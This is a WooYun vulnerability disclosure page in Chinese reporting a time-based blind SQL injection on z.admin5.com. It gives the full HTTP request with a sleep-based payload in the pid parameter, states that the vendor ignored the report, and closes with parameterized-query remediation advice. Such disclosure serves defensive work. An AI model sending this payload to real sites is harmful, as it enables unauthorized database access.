当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0209996

漏洞标题：A5站长某站SQL注入

相关厂商：A5站长网

漏洞作者： 路人甲

提交时间：2016-05-18 09:56

修复时间：2016-05-23 10:00

公开时间：2016-05-23 10:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-18： 细节已通知厂商并且等待厂商处理中
2016-05-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

当用户可控的数据未经过恰当的处理就进入了数据库执行的SQL语句中时，就可能存在SQL注入漏洞。攻击者可以定制特定的字符来改变SQL语句的语义。通过SQL注入漏洞可以造成多种危害，包括读取或者修改应用的数据，改变程序逻辑，提升权限和执行操作系统命令等。

详细说明：

1、漏洞触发页面以及对应功能:

GET /index.php?pid=if(length(database())>5,sleep(5),sleep(0))&r=help/category HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: z.admin5.com
Cookie: Hm_lvt_219ae1bba75c220b77f2979557eda057=1463498078; Hm_lpvt_219ae1bba75c220b77f2979557eda057=1463498078; AJSTAT_ok_pages=1; AJSTAT_ok_times=1; HMACCOUNT=84758B31AB7F5D59
Host: z.admin5.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25
Accept: */*


2、漏洞复现具体流程，包含具体payload和完整的数据包：

GET /index.php?pid=if(length(database())>5,sleep(5),sleep(0))&r=help/category HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: z.admin5.com
Cookie: Hm_lvt_219ae1bba75c220b77f2979557eda057=1463498078; Hm_lpvt_219ae1bba75c220b77f2979557eda057=1463498078; AJSTAT_ok_pages=1; AJSTAT_ok_times=1; HMACCOUNT=84758B31AB7F5D59
Host: z.admin5.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25
Accept: */*


漏洞证明：

数据库相关信息证明,仅证明，未存储下载任何敏感信息
数据库用户 主机宝~

屏幕快照 2016-05-18 上午9.46.20.png

修复方案：

最有效的防御SQL注入的方式是在所有的数据库操作上使用参数化查询（也被称为预编译)。预编译通过两步把可能存在危害的数据整合到SQL查询中。第一步，应用定义查询语句的结构，在语句中预留位置给用户输入。第二部，应用把每个位置需要的用户输入传递给数据库。因为第一步中，应用已经定义了语句的结构，数据库已经对语法进行了编译，第二部中及时传入恶意的用户输入也无法影响SQL语句的语意，从而避免了SQL注入攻击。对于不同的数据库和编程语言需要查询文档，寻找合适的api。强烈建议使用参数化处理SQL语句中的每一个变量。需要注意的是以下一些防御SQL注入的方式并不总是有效的，所以不建议大家使用以下的方式防御SQL注入：一种常见的方式是在用户数据拼接到SQL语句之前转义其中的单引号。这是为了避免用户插入单引号，改变了SQL的语法。但是如果变量类型是数字型，这种防御就可能失败。因为SQL语句结构中并没有单引号包裹变量的话，仅仅使用空格就可以改变语法结构。另一种常见的防御方案是使用存储过程。尽管存储过程提供了很多安全特性，但是并不能保证防御SQL注入。当存储过程中可以动态创建SQL结构的时候就可能会发生SQL注入。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-05-23 10:00

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

评价